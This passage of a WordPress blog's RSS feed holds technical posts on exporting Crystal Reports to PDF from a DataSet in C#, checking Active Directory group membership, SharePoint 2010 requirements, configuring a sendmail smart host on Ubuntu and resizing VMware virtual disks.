Nel nostro &#8220;NomeReport.rpt&#8221; andremo ad indicare nella sezione &#8220;Database Expert&#8221; quali DataTable del nostro DataSet saranno inseriti nel report, per poi trascinarne i campi all&#8217;interno dell&#8217;area di disegno. Nel codice avremo poi:</p>
<p><code>DatasetDiProva dSet = new DatasetDiProva();<br />
DatasetDiProva.provaTableRow dRow = dSet.provaTable.NewprovaTableRow();<br />
dRow.Campo1 = "Valore1";<br />
....<br />
dRow.CampoN = "ValoreN";</code></p>
<p><code>dSet.provaTable.AddprovaTableRow(dRow);<br />
...<br />
...<br />
crReportDocument.Database.Tables["provaTable"].SetDataSource(dSet);</p>
<p></code></p>
<p><code>// Output flusso dati PDF<br />
System.IO.MemoryStream m_stream = (MemoryStream) crReportDocument.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);<br />
Response.ClearContent();<br />
Response.ClearHeaders();<br />
Response.ContentType = "application/pdf";<br />
Response.OutputStream.Write(m_stream.ToArray(),0, m_stream.ToArray().Length);<br />
Page.Response.End();<br />
m_stream.Close();<br />
</code><br />
Dopo aver popolato &#8220;n&#8221; righe del nostro dataset con gli opportuni valori che ci servono provvediamo a collegare la/le tabella/e del report con quelle del dataset.<br />
A questo punto, se abbiamo utilizzato i parametri ed i dataset nello stesso report, è altamente probabile che si presenti nuovamente l&#8217;errore già incontrato prima: <em>&#8220;Missing parameter values.&#8221;</em></p>
<p>Ciò non è dovuto tanto alla nostra dimenticanza nell&#8217;impostare uno o più parametri del report, quanto alla sequenza del codice inserito!<br />
Ebbene, nel caso di utilizzo dei dataset dobbiamo PRIMA inserire i valori dei DataTable e collegarli al report, POI inserire il valore dei parametri&#8230;<br />
<strong>Il collegamento del DataSet infatti annulla ogni parametro impostato in precedenza!!!</strong></p>
<p>Il codice corretto sarà quindi:<br />
<code><br />
ReportDocument crReportDocument = new ReportDocument();<br />
string strNomeReport = "NomeReport.rpt";<br />
crReportDocument.Load(Server.MapPath(strNomeReport));</code></p>
<p><code>//definizione del dataset e popolamento con dati<br />
DatasetDiProva dSet = new DatasetDiProva();<br />
DatasetDiProva.provaTableRow dRow = dSet.provaTable.NewprovaTableRow();<br />
dRow.Campo1 = "Valore1";<br />
....<br />
dRow.CampoN = "ValoreN";</p>
<p>dSet.provaTable.AddprovaTableRow(dRow);<br />
...<br />
...<br />
//collegamento del dataset al report<br />
crReportDocument.Database.Tables["provaTable"].SetDataSource(dSet);</p>
<p>//impostazione degli "n" parametri<br />
crReportDocument.SetParameterValue("NomeParametro", stringaValoreParametro);<br />
...<br />
...</p>
<p></code></p>
<p><code>// Output flusso dati PDF<br />
System.IO.MemoryStream m_stream = (MemoryStream) crReportDocument.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);<br />
Response.ClearContent();<br />
Response.ClearHeaders();<br />
Response.ContentType = "application/pdf";<br />
Response.OutputStream.Write(m_stream.ToArray(),0, m_stream.ToArray().Length);<br />
Page.Response.End();<br />
m_stream.Close();<br />
</code></p>
<p>That&#8217;s all Folks!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/108/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/108/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/108/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=108&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2010/06/02/crystal-report-con-parametri-e-dataset/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
		<item>
		<title>C# method checking if a user is in a specified group of ActiveDirectory</title>
		<link>http://andreabeni.wordpress.com/2010/03/01/c-method-checking-if-a-user-is-in-a-specified-group-of-activedirectory/</link>
		<comments>http://andreabeni.wordpress.com/2010/03/01/c-method-checking-if-a-user-is-in-a-specified-group-of-activedirectory/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 09:19:00 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[Linguaggi]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/?p=105</guid>
		<description><![CDATA[public bool IsUserInGroup(string pstrDomain, string pstrUser, string pstrPassword, string pstrGroup) { try { pstrGroup = pstrGroup.ToLower(); string domainAndUsername = pstrDomain + @"\" + pstrUser; DirectoryEntry entry = new DirectoryEntry(_path, domainAndUsername, pstrPassword); DirectorySearcher myDirectorySearcher = new DirectorySearcher(); myDirectorySearcher.SearchRoot = entry; myDirectorySearcher.Filter = "(SAMAccountName=" + pstrUser+")"; myDirectorySearcher.PropertiesToLoad.Add("MemberOf"); SearchResult myresult = myDirectorySearcher.FindOne(); int NumberOfGroups = myresult.Properties["memberOf"].Count-1; string tempString; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=105&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><code>public bool IsUserInGroup(string pstrDomain, string pstrUser, string pstrPassword, string pstrGroup)<br />
        {<br />
            try<br />
            {<br />
                pstrGroup = pstrGroup.ToLower();<br />
                string domainAndUsername = pstrDomain + @"\" + pstrUser;<br />
                DirectoryEntry entry = new DirectoryEntry(_path, domainAndUsername, pstrPassword);<br />
                DirectorySearcher myDirectorySearcher = new DirectorySearcher();<br />
                myDirectorySearcher.SearchRoot = entry;<br />
                myDirectorySearcher.Filter = "(SAMAccountName=" + pstrUser+")";<br />
                myDirectorySearcher.PropertiesToLoad.Add("MemberOf");<br />
                SearchResult myresult = myDirectorySearcher.FindOne();<br />
                int NumberOfGroups = myresult.Properties["memberOf"].Count-1;<br />
                string tempString;<br />
                while (NumberOfGroups &gt;= 0)<br />
                {<br />
                    tempString = myresult.Properties["MemberOf"][NumberOfGroups].ToString();<br />
                    tempString = tempString.Substring(0, tempString.IndexOf(",", 0));<br />
                    tempString = tempString.Replace("CN=", "");<br />
                    tempString = tempString.ToLower() ;<br />
                    tempString = tempString.Trim();<br />
                    if (pstrGroup == tempString)<br />
                    {<br />
                        return true;<br />
                    }<br />
                    else<br />
                        NumberOfGroups = NumberOfGroups - 1;<br />
                }<br />
            }<br />
            catch (Exception)<br />
            {<br />
                throw;<br />
            }<br />
            return false;<br />
        }</code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/105/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/105/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/105/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=105&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2010/03/01/c-method-checking-if-a-user-is-in-a-specified-group-of-activedirectory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
		<item>
		<title>SharePoint Server 2010 hardware and software requirements</title>
		<link>http://andreabeni.wordpress.com/2010/01/21/sharepoint-server-2010-hardware-and-software-requirements/</link>
		<comments>http://andreabeni.wordpress.com/2010/01/21/sharepoint-server-2010-hardware-and-software-requirements/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 08:40:16 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[WSS]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/?p=103</guid>
		<description><![CDATA[Microsoft SharePoint Server 2010 provides for a number of installation scenarios. Currently, these installations include single server with built-in database installations and single-server or multiple-server farm installations. Hardware requirements The requirements in the following table apply to single server with built-in database installations and server farm installations that include a single server or multiple servers [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=103&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="sectionSection0">
<p>Microsoft SharePoint Server 2010 provides for a number of installation scenarios. Currently, these installations include single server with built-in database installations and single-server or multiple-server farm installations.</p>
</div>
<p><a id="section2"></a></p>
<h1>Hardware requirements</h1>
<div id="sectionSection1">
<p>The requirements in the following table apply to single server with built-in database installations and server farm installations that include a single server or multiple servers in the farm.</p>
<h3></h3>
<table>
<tbody>
<tr>
<th> Component</th>
<th> Minimum requirement</th>
</tr>
<tr>
<td>Processor</td>
<td>64-bit, four-core, 2.5 GHz minimum per core</td>
</tr>
<tr>
<td>RAM</td>
<td>4 GB for developer or evaluation use</p>
<p>8 GB for single server and multiple server farm installation for production use</td>
</tr>
<tr>
<td>Hard disk</td>
<td>80 GB for installation</p>
<p>For production use, you need additional free disk space for day-to-day operations. Add twice as much free space as you have RAM for production environments.</td>
</tr>
</tbody>
</table>
</div>
<p><a id="section3"></a></p>
<h1>Software requirements</h1>
<p>The requirements in the following tables apply to stand-alone installations and server farm installations that include a single server and multiple servers in the farm.</p>
<p>The Microsoft SharePoint Products and Technologies 2010 Preparation Tool — which you access from the SharePoint Server 2010 Start page — can assist you in the installation of the software prerequisites for SharePoint Server 2010. Ensure that you have an Internet connection, because some of these prerequisites are installed from the Internet. For more information, see <a id="ctl00_MTCS_main_ctl01" href="http://technet.microsoft.com/en-us/library/cc262243%28office.14%29.aspx">Deploy a single server with SQL Server (SharePoint Server 2010)</a>, <a id="ctl00_MTCS_main_ctl02" href="http://technet.microsoft.com/en-us/library/cc263202%28office.14%29.aspx">Deploy a single server with a built-in database (SharePoint Server 2010)</a>, and <a id="ctl00_MTCS_main_ctl03" href="http://technet.microsoft.com/en-us/library/ee805948%28office.14%29.aspx">Multiple servers for a three-tier farm (SharePoint Server 2010)</a>.</p>
<h4>Minimum requirements</h4>
<h3></h3>
<table>
<tbody>
<tr>
<th> Environment</th>
<th> Minimum requirement</th>
</tr>
<tr>
<td>Database server in a farm</td>
<td>One of the following:</p>
<ul>
<li> The 64-bit edition of Microsoft SQL Server 2005 with Service Pack 3 (SP3) with <a id="ctl00_MTCS_main_ctl04" href="http://go.microsoft.com/fwlink/?LinkId=165748" target="_blank">Cumulative update package 3 for SQL Server 2005 Service Pack 3</a> (http://go.microsoft.com/fwlink/?LinkId=165748).</li>
<li> The 64-bit edition of Microsoft SQL Server 2008 with Service Pack 1 (SP1) and Cumulative Update 2 installed with <a id="ctl00_MTCS_main_ctl05" href="http://go.microsoft.com/fwlink/?LinkId=165962" target="_blank">Cumulative update package 2 for SQL Server 2008 Service Pack 1</a> (http://go.microsoft.com/fwlink/?LinkId=165962). This cumulative update consists of two parts; ensure that you download both files. When you install Microsoft SQL Server 2008 SP1 on Windows Server 2008 R2, you might receive a compatibility warning. You can disregard this warning and continue with your installation.</li>
</ul>
</td>
</tr>
<tr>
<td>Single server with built-in database</td>
<td>
<ul>
<li> The 64-bit edition of Windows Server 2008 Standard with SP2. If you are running Windows Server 2008 without SP2, the Microsoft SharePoint Products and Technologies 2010 Preparation Tool installs Windows Server 2008 SP2 automatically.
<div>
<div>
<div><!--src=[../local/note.gif]--><img src="http://i.technet.microsoft.com/Cc262485.note%28en-us,office.14%29.gif" alt="Cc262485.note(en-us,office.14).gif" /><strong>Note: </strong></div>
<div>You must download an update for Windows Server 2008 before you run Setup, or Setup will not run.</p>
<ul>
<li> For Windows Server 2008 with SP2, see <a id="ctl00_MTCS_main_ctl08" href="http://go.microsoft.com/fwlink/?linkID=160770" target="_blank">FIX: A hotfix that provides a method to support the token authentication without transport security or message encryption in WCF is available for the .NET Framework 3.5 SP1</a> (http://go.microsoft.com/fwlink/?LinkID=160770).</li>
<li> For Windows Server 2008 R2, see <a id="ctl00_MTCS_main_ctl09" href="http://go.microsoft.com/fwlink/?LinkID=166231" target="_blank">FIX: A hotfix that provides a method to support the token authentication without transport security or message encryption in WCF is available for the .NET Framework 3.5 SP1</a> (http://go.microsoft.com/fwlink/?LinkID=166231).</li>
</ul>
</div>
</div>
</div>
</li>
<li> Web Server (IIS) role</li>
<li> Application Server role</li>
<li> Microsoft .NET Framework version 3.5 SP1</li>
<li> SQL Server 2008 Express with SP1</li>
<li> Microsoft &#8220;Geneva&#8221; Framework</li>
<li> Microsoft Sync Framework Runtime v1.0 (x64)</li>
<li> Microsoft Filter Pack 2.0</li>
<li> Microsoft Chart Controls for the Microsoft .NET Framework 3.5</li>
<li> Windows PowerShell 2.0 CTP3
<div>
<div>
<div><!--src=[../local/note.gif]--><img src="http://i.technet.microsoft.com/Cc262485.note%28en-us,office.14%29.gif" alt="Cc262485.note(en-us,office.14).gif" /><strong>Note: </strong></div>
<div>On Windows Server 2008 with SP2, the Microsoft SharePoint Products and Technologies 2010 Preparation Tool cannot install Windows PowerShell 2.0 CTP3 if Windows PowerShell 1.0 is on the computer. You must uninstall Windows PowerShell 1.0 before the Microsoft SharePoint Products and Technologies 2010 Preparation Tool can install Windows PowerShell 2.0 CTP3.</div>
</div>
</div>
</li>
<li> SQL Server 2008 Native Client</li>
<li> Microsoft SQL Server 2008 Analysis Services ADOMD.NET</li>
<li> ADO.NET Data Services v1.5 CTP2</li>
</ul>
</td>
</tr>
<tr>
<td>Front-end Web servers and application servers in a farm</td>
<td>
<ul>
<li> The 64-bit edition of Windows Server 2008 Standard with SP2. If you are running Windows Server 2008 with SP1, the Microsoft SharePoint Products and Technologies 2010 Preparation Tool installs Windows Server 2008 SP2 automatically.
<div>
<div>
<div><!--src=[../local/note.gif]--><img src="http://i.technet.microsoft.com/Cc262485.note%28en-us,office.14%29.gif" alt="Cc262485.note(en-us,office.14).gif" /><strong>Note: </strong></div>
<div>You must download an update for Windows Server 2008 before you run Setup, or Setup will not run.</p>
<ul>
<li> For Windows Server 2008 with SP2, see <a id="ctl00_MTCS_main_ctl14" href="http://go.microsoft.com/fwlink/?linkID=160770" target="_blank">FIX: A hotfix that provides a method to support the token authentication without transport security or message encryption in WCF is available for the .NET Framework 3.5 SP1</a> (http://go.microsoft.com/fwlink/?LinkID=160770).</li>
<li> For Windows Server 2008 R2, see <a id="ctl00_MTCS_main_ctl15" href="http://go.microsoft.com/fwlink/?LinkID=166231" target="_blank">FIX: A hotfix that provides a method to support the token authentication without transport security or message encryption in WCF is available for the .NET Framework 3.5 SP1</a> (http://go.microsoft.com/fwlink/?LinkID=166231).</li>
</ul>
<p>The Beta version of the Microsoft SharePoint Products and Technologies 2010 Preparation Tool does not install these updates.</p></div>
</div>
</div>
</li>
<li> Web Server (IIS) role</li>
<li> Application Server role</li>
<li> Microsoft .NET Framework version 3.5 SP1</li>
<li> Microsoft &#8220;Geneva&#8221; Framework</li>
<li> Microsoft Sync Framework Runtime v1.0 (x64)</li>
<li> Microsoft Filter Pack 2.0</li>
<li> Microsoft Chart Controls for the Microsoft .NET Framework 3.5</li>
<li> Windows PowerShell 2.0 CTP3
<div>
<div>
<div><!--src=[../local/note.gif]--><img src="http://i.technet.microsoft.com/Cc262485.note%28en-us,office.14%29.gif" alt="Cc262485.note(en-us,office.14).gif" /><strong>Note: </strong></div>
<div>On Windows Server 2008 with SP2, the Microsoft SharePoint Products and Technologies 2010 Preparation Tool cannot install Windows PowerShell 2.0 CTP3 if Windows PowerShell 1.0 is on the computer. You must uninstall Windows PowerShell 1.0 before the Microsoft SharePoint Products and Technologies 2010 Preparation Tool can install Windows PowerShell 2.0 CTP3.</div>
</div>
</div>
</li>
<li> SQL Server 2008 Native Client</li>
<li> Microsoft SQL Server 2008 Analysis Services ADOMD.NET</li>
<li> ADO.NET Data Services v1.5 CTP2</li>
</ul>
</td>
</tr>
<tr>
<td>Client computer</td>
<td>
<ul>
<li> A supported browser. For more information, see <a id="ctl00_MTCS_main_ctl18" href="http://technet.microsoft.com/en-us/library/cc263526%28office.14%29.aspx">Plan browser support (SharePoint Server 2010)</a>.</li>
</ul>
</td>
</tr>
</tbody>
</table>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/103/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/103/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/103/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=103&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2010/01/21/sharepoint-server-2010-hardware-and-software-requirements/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>

		<media:content url="http://i.technet.microsoft.com/Cc262485.note%28en-us,office.14%29.gif" medium="image">
			<media:title type="html">Cc262485.note(en-us,office.14).gif</media:title>
		</media:content>

		<media:content url="http://i.technet.microsoft.com/Cc262485.note%28en-us,office.14%29.gif" medium="image">
			<media:title type="html">Cc262485.note(en-us,office.14).gif</media:title>
		</media:content>

		<media:content url="http://i.technet.microsoft.com/Cc262485.note%28en-us,office.14%29.gif" medium="image">
			<media:title type="html">Cc262485.note(en-us,office.14).gif</media:title>
		</media:content>

		<media:content url="http://i.technet.microsoft.com/Cc262485.note%28en-us,office.14%29.gif" medium="image">
			<media:title type="html">Cc262485.note(en-us,office.14).gif</media:title>
		</media:content>
	</item>
		<item>
		<title>How to configure sendmail with smart host &#8211; Ubuntu</title>
		<link>http://andreabeni.wordpress.com/2009/11/23/how-to-configure-sendmail-with-smart-host-ubuntu/</link>
		<comments>http://andreabeni.wordpress.com/2009/11/23/how-to-configure-sendmail-with-smart-host-ubuntu/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 14:58:22 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Services]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/?p=101</guid>
		<description><![CDATA[For configuring sendmail for using SMART HOST on Ubuntu: - Open your configuration file: # vi /etc/mail/sendmail.mc - Append or modify macro that read as follows: define(`SMART_HOST&#8217;,`smtp.yourdomain.com&#8217;) - Replace smtp.yourdomain.com with your smtp server address. If line contains word, dnl remove the dnl word. - Regenerate a new sendmail.cf config file with m4 command: # [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=101&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>For configuring sendmail for using SMART HOST on Ubuntu:</p>
<p>- Open your configuration file:</p>
<p># vi /etc/mail/sendmail.mc</p>
<p>- Append or modify macro that read as follows:</p>
<p>define(`SMART_HOST&#8217;,`smtp.yourdomain.com&#8217;)</p>
<p>- Replace smtp.yourdomain.com with your smtp server address. If line contains word, dnl remove the dnl word.</p>
<p>- Regenerate a new sendmail.cf config file with m4 command:</p>
<p># m4 /etc/mail/sendmail.mc &gt; /etc/mail/sendmail.cf</p>
<p>- Restart sendmail service:</p>
<p># /etc/init.d/sendmail restart</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/andreabeni.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/andreabeni.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/andreabeni.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/andreabeni.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/andreabeni.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/andreabeni.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/andreabeni.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/andreabeni.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/andreabeni.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/andreabeni.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/andreabeni.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/andreabeni.wordpress.com/101/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/andreabeni.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/andreabeni.wordpress.com/101/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=101&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://andreabeni.wordpress.com/2009/11/23/how-to-configure-sendmail-with-smart-host-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/ceff7eff13ca22949e9621217207831c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">andreabeni</media:title>
		</media:content>
	</item>
		<item>
		<title>Re-sizing Virtual Disks</title>
		<link>http://andreabeni.wordpress.com/2009/10/22/re-sizing-virtual-disks/</link>
		<comments>http://andreabeni.wordpress.com/2009/10/22/re-sizing-virtual-disks/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 11:11:01 +0000</pubDate>
		<dc:creator>andreabeni</dc:creator>
				<category><![CDATA[OpenSource]]></category>
		<category><![CDATA[Virtual machines]]></category>

		<guid isPermaLink="false">http://andreabeni.wordpress.com/2009/10/22/re-sizing-virtual-disks/</guid>
		<description><![CDATA[from &#8220;vShpere-land&#8221;: There are several methods to re-sizing virtual disks listed below. If you want to shrink the disk in ESX3 then using VMmware Converter is the best way to do this, you can no longer use vmkfstools to shrink a disk in ESX3, you can also try using QpartEd to shrink a disk. With [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=andreabeni.wordpress.com&amp;blog=2899387&amp;post=99&amp;subd=andreabeni&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>from &#8220;vShpere-land&#8221;:</p>
<p>There are several methods to re-sizing virtual disks listed below. If you want to shrink the disk in ESX3 then using VMmware Converter is the best way to do this, you can no longer use vmkfstools to shrink a disk in ESX3, you can also try using QpartEd to shrink a disk. With all these methods you should make a backup copy of your original vmdk file in case something goes wrong. Also make sure you shutdown the OS cleanly before restarting the VM (GpartEd will sometimes fail otherwise). Methods 1, 4 &amp; 5 are essentially the same using Linux boot CD’s and either GpartEd or QpartEd.</p>
<p>You can also check out my articles I wrote on this that use the methods below:</p>
<ul>
<li><a href="http://searchvmware.techtarget.com/tip/0,289483,sid179_gci1322236,00.html">Using VMware Converter to resize virtual disk files (Pt. 1)</a></li>
<li><a href="http://searchvmware.techtarget.com/tip/0,289483,sid179_gci1324177,00.html">Increasing virtual disk partition size using DISKPART or GpartEd (Pt. 2)</a></li>
</ul>
<h4>Method 1 &#8211; Using vmkfstools and GParted to extend a disk</h4>
<ol>
<li>Download the <a href="http://gparted.sourceforge.net/livecd.php">GParted Live CD ISO</a> and make it available so it can be mounted by the virtual machine’s CD-ROM</li>
<li>Shutdown the virtual machine you want to resize</li>
<li>Log into the ESX Server console via Putty</li>
<li>Type “vmkfstools -X /vmfs/volumes/&lt;volume name&gt;/&lt;VM directory name&gt;/&lt;virtual disk file name&gt;” ie. /vmfs/volumes/Storage1/my_vm.vmdk. New disk size can be specified in kilo, mega or gigabytes and will be the total size of the new disk. So if you want to increase a virtual disk from 20GB to 24GB you would specify either 24000m or 24g</li>
<li>Power on the Virtual Machine and make sure it boots properly, load Disk Management and you will see the new unallocated space</li>
<li>Now to join the unallocated space to the primary partition, first shutdown the Virtual Machine</li>
<li>Connect the Virtual Machine to the GParted ISO file and make sure you enable Connected at Power On</li>
<li>Power on the Virtual Machine</li>
<li>Press ESC at the Bios screen to get to the Boot Menu</li>
<li>Select CD-ROM as the Boot device</li>
<li>Gnome Partition Editor will load, press Enter at the boot screen</li>
<li>At the Boot option screen select Manual Video Card and then select Done</li>
<li>Select US English at the Language screen</li>
<li>Select qwerty/us.map at the Keyboard screen</li>
<li>Select Generic VESA Compatiable at the Video Driver screen</li>
<li>Select 8 at the Display Depth screen</li>
<li>Select 1024×768 at the Resolution screen</li>
<li>Once the partition editor loads, click on /dev/sda1 in the partition list</li>
<li>Click the Resize/Move button</li>
<li>Click and drag the arrow to extend the size of the partition, make sure you do a resize (double arrow) and not a move (four way arrow) so you should 0 free space preceding and following and then click the Resize/Move button</li>
<li>Next click the Apply button and then the operation will start, you can expand Details to see the progress, once completed click the Close button</li>
<li>Click the power button in the bottom right corner, then select reboot</li>
<li>Edit the VM and remove the ISO from the CD/ROM device (change to Client)</li>
<li>When the server restarts it will do a Check Disk, let this complete, Windows will prompt for a reboot after you login</li>
<li>Reboot and load Disk Management and your Primary Partion will be the new size without any unallocated space</li>
</ol>
<h4>Method 2 &#8211; Using VMware Converter to shrink or extend a disk</h4>
<p>When you use Converter to copy a VM it will transfer the data to the destination server by one of two ways. If you do not change the disk size or increase the size of your original disks then it does a block level clone of the drive. If you reduce the size of your original disks it instead does a file level clone of the drive.</p>
<ol>
<li>Download <a href="http://www.vmware.com/download/converter/">Converter</a> and install it on the VM that you want to resize the drives, reboot after the install completes</li>
